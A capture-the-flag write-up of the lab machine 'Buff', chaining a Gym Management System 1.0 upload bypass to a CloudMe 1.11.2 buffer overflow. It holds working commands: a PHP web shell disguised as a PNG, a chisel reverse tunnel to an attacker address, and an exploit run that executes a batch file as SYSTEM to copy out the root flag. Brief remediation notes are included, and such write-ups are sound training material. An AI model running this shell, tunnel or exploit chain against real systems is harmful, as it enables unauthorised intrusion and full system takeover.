Buff
Summary
I identified a Gym Management System 1.0 web application exposed on port 8080 and matched it to a known public exploit (Exploit-DB 48506): the application's file-upload endpoint trusted only my own HTTP Content-Type header, allowing a PHP web shell to be uploaded disguised as an image. That gave unauthenticated remote code execution as the low-privilege local account buff\shaun and immediate access to the user flag. From inside I enumerated active network connections and discovered CloudMe 1.11.2 — a desktop sync utility registered and running under the Windows SYSTEM account — bound exclusively to the local loopback interface on TCP 8888.
Because all outbound download channels were firewall-blocked, the chisel reverse-tunneling binary was smuggled onto the host through the same upload bypass that had delivered the web shell, and a reverse tunnel was opened to expose the CloudMe port to me. The public CloudMe ROP buffer-overflow exploit (CVE-2018-6892 / EDB-48840), adapted to invoke a custom batch script, ran arbitrary commands as SYSTEM, copied the Administrator's flag into the web-accessible upload directory, and completed full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
Version and default-script scan of the two open ports.
$ nmap -sV -sC -Pn -p 7680,8080 $TARGETConfirm application name and version from the page footer.
$ curl -s http://$TARGET:8080/ | grep -i 'projectworlds\|gym management'Exact commands 2
Locate EDB-48506 in the local Exploit-DB mirror.
$ searchsploit 'Gym Management System 1.0'Copy the PoC to the working directory and review the endpoint and parameter names.
$ searchsploit -m php/webapps/48506.pyFixReplace Gym Management System 1.0 and enforce real server-side file upload validationCritical
Exact commands 2
Build the shell: PNG magic bytes satisfy superficial content checks; .php in the name ensures Apache executes it.
$ printf '\x89PNG\r\n\x1a\n<?php echo shell_exec($_GET["telepathy"]); ?>' > cxbuff.php.pngUpload the shell. The spoofed Content-Type is the only server-side guard.
$ curl -sS -F 'pupload=upload' -F 'file=@cxbuff.php.png;filename=cxbuff.php.png;type=image/png' "http://$TARGET:8080/upload.php"Exact commands 2
Confirm execution context; expected output: buff\shaun.
$ curl -m 8 -sS --get --data-urlencode 'telepathy=whoami' "http://$TARGET:8080/upload/cxbuff.php"
buff\shaunRead the user flag; value is <user.txt>. Tail -c +9 strips the 8-byte PNG magic header prepended to all output.
$ curl -m 8 -sS --get --data-urlencode 'telepathy=type C:\Users\shaun\Desktop\user.txt' "http://$TARGET:8080/upload/cxbuff.php" | tail -c +9 | tr -d '\r'Exact commands 3
Identify the loopback listener and its PID.
$ curl -m 8 -sS --get --data-urlencode 'telepathy=netstat -ano | findstr :8888' "http://$TARGET:8080/upload/cxbuff.php"Replace 4900 with the PID from the previous step to name the owning process.
$ curl -m 8 -sS --get --data-urlencode 'telepathy=tasklist /fi "PID eq 4900"' "http://$TARGET:8080/upload/cxbuff.php"Confirm the service is registered under the SYSTEM SID (S-1-5-18).
$ curl -m 8 -sS --get --data-urlencode 'telepathy=reg query "HKEY_USERS\S-1-5-18\Software\CloudMe\Sync"' "http://$TARGET:8080/upload/cxbuff.php"FixRemove CloudMe from this server and never run desktop sync software as SYSTEMCritical
Exact commands 3
Run on my machine first; listens for the reverse connection from the target.
$ chisel server -p 8001 --reversePrepend PNG magic bytes to the chisel binary and upload it via the same bypass.
$ printf '\x89PNG\r\n' | cat - /opt/tools/chisel-x64.exe > chisel.exe.png && curl -sS -F 'pupload=upload' -F 'file=@chisel.exe.png;filename=chisel.exe.png;type=image/png' "http://$TARGET:8080/upload.php"Replace $ATTACKER_IP with your VPN address. The chisel server should log the new R:18888 session immediately.
$ curl -m 30 -sS --get --data-urlencode "telepathy=start /b C:\xampp\htdocs\gym\upload\chisel.exe client $ATTACKER_IP:8001 R:18888:127.0.0.1:8888" "http://$TARGET:8080/upload/cxbuff.php"Exact commands 4
Copy the CloudMe 1.11.2 ROP PoC to the working directory.
$ searchsploit -m windows/remote/48840.pyStage the batch script that exfiltrates root.txt into the web root, delivered via the same upload bypass.
$ printf '@echo off\r\ntype C:\\Users\\Administrator\\Desktop\\root.txt > C:\\xampp\\htdocs\\gym\\upload\\root.txt\r\n' > /tmp/r.bat && curl -sS -F 'pupload=upload' -F 'file=@/tmp/r.bat;filename=r.bat.png;type=image/png' "http://$TARGET:8080/upload.php?id=r"Before running: edit 48840.py to target 127.0.0.1:18888 (the chisel-forwarded port) and set the system() payload to: cmd /c C:\xampp\htdocs\gym\upload\r.bat
$ python2 48840.pyRetrieve the root flag from the web directory; value is <root.txt>.
$ curl -sS "http://$TARGET:8080/upload/root.txt"Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 7680/tcp | pando-pub? |
| 8080/tcp | http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) |